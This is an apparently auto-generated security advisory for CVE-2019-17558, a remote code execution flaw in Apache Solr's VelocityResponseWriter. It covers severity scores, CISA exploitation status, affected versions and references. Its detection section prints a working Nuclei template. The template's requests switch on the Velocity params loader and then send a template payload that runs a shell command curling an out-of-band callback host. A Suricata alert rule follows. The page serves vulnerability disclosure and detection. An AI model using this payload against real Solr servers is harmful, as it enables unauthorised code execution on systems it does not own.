CVE-2019-17558: Apache Solr VelocityResponseWriter Plug-In Remote Code Execution Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
Description quoted from the CVE record (assigned by apache, published 2019-12-30).
Weakness: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)
How it can be exploited
Exploitable over the network with high attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2021-11-03
- US federal deadline
- 2022-05-03
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Exploit Observer found 2 Exploit-DB entries, 1 Nuclei template and 12 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 31 references on Exploit Observer
Live scores
- EPSS
- 0.986
very likely to be attacked soon - VEDAS
- 0.978
strong exploit evidence - On CISA KEV
- Yes, since 2021-11-03
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Apache Solr | version Apache Solr 5.0.0 to Apache Solr 8.3.1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply updates per vendor instructions.
Vendor guidance:
How to detect it
Nuclei template (active check)
Apache Solr - Injection
Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter.
Name and description quoted from the template, written by VEDAS.
The template sends 3 requests (GET /solr/admin/cores?wt=json, POST /solr/{{core}}/config, GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2019-17558.yamlShow the template (64 lines)
id: CVE-2019-17558
info:
name: "Apache Solr - Injection"
author: vedas-arpsyndicate
severity: high
description: |
Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the
VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset
`velocity/` directory or as a parameter.
reference:
- https://www.exploit.observer/?keyword=CVE-2019-17558&match=exact
- https://subdomain.center/?engine=ammonites&keyword=apache&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.5
cve-id: CVE-2019-17558
cwe-id: CWE-74
metadata:
verified: false
tags: cve,cve2019,kev,packetstorm,apache,rce,solr,oast,vkev,vuln
http:
- raw:
- |
GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
- |
POST /solr/{{core}}/config HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
- |
GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: status
status:
- 200
extractors:
- type: regex
name: core
group: 1
regex:
- '"name"\:"(.*?)"'
internal: true
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2019-17558 Apache Solr - Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2019-17558 Apache Solr - Injection"; flow:established,to_server; http.uri; content:"'"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2019-17558; reference:url,https://www.exploit.observer/?keyword=CVE-2019-17558&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=apache&match=exact; sid:1010483; rev:1;)
CVE-2019-17558.rules on GitHub
Advisories on this CVE
- Critical Node-RED flaw CVE-2026-58115 exploited in the wild to run code on exposed instances (full advisory)
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-17558 (government-resource)
Other references
- [lucene-issues] 20200107 [jira] [Commented] (SOLR-13971) CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200108 [jira] [Commented] (SOLR-13971) CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200108 [jira] [Updated] (SOLR-14025) CVE-2019-17558: Velocity response writer RCE vulnerability persists after 8.3.1 (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200108 [GitHub] [lucene-solr] Sachpat opened a new pull request #1156: SOLR-13971 (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200108 [GitHub] [lucene-solr] Sachpat commented on a change in pull request #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200108 [GitHub] [lucene-solr] artem-smotrakov commented on a change in pull request #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200108 [GitHub] [lucene-solr] Sachpat commented on issue #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200113 [GitHub] [lucene-solr] Sachpat closed pull request #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200113 [jira] [Commented] (SOLR-14025) CVE-2019-17558: Velocity response writer RCE vulnerability persists after 8.3.1 (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200113 [GitHub] [lucene-solr] chatman commented on issue #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200113 [GitHub] [lucene-solr] Sachpat commented on issue #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-dev] 20200213 Re: 7.7.3 bugfix release (mailing-list, x_refsource_MLIST)
17 more
- [lucene-dev] 20200214 Re: 7.7.3 bugfix release (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20200219 [jira] [Updated] (SOLR-14025) CVE-2019-17558: Velocity response writer RCE vulnerability persists after 8.3.1 (mailing-list, x_refsource_MLIST)
- [ambari-issues] 20200220 [jira] [Created] (AMBARI-25482) solr dependence CVE-2019-17558 (mailing-list, x_refsource_MLIST)
- [lucene-solr-user] 20200320 CVEs (vulnerabilities) that apply to Solr 8.4.1 (mailing-list, x_refsource_MLIST)
- [lucene-solr-user] 20200320 Re: CVEs (vulnerabilities) that apply to Solr 8.4.1 (mailing-list, x_refsource_MLIST)
- https://www.oracle.com/security-alerts/cpuoct2020.html (x_refsource_MISC)
- https://issues.apache.org/jira/browse/SOLR-13971 (x_refsource_MISC)
- http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html (x_refsource_MISC)
- [submarine-commits] 20201209 [GitHub] [submarine] QiAnXinCodeSafe opened a new issue #474: There is a vulnerability in Apache Solr 5.5.4,upgrade recommended (mailing-list, x_refsource_MLIST)
- [lucene-solr-user] 20210203 Re: SolrCloud keeps crashing (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20210210 [GitHub] [lucene-solr] rhtham edited a comment on pull request #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20210210 [GitHub] [lucene-solr] rhtham commented on pull request #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [lucene-solr-user] 20210212 CVE-2019-17558 on SOLR 6.1 (mailing-list, x_refsource_MLIST)
- [lucene-solr-user] 20210212 Re: CVE-2019-17558 on SOLR 6.1 (mailing-list, x_refsource_MLIST)
- [lucene-solr-user] 20210213 Re: CVE-2019-17558 on SOLR 6.1 (mailing-list, x_refsource_MLIST)
- [lucene-issues] 20210315 [GitHub] [lucene-solr] erikhatcher commented on pull request #1156: SOLR-13971: CVE-2019-17558: Velocity custom template RCE vulnerability (mailing-list, x_refsource_MLIST)
- [druid-commits] 20210324 [GitHub] [druid] jihoonson opened a new pull request #11030: Suppress cves (mailing-list, x_refsource_MLIST)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.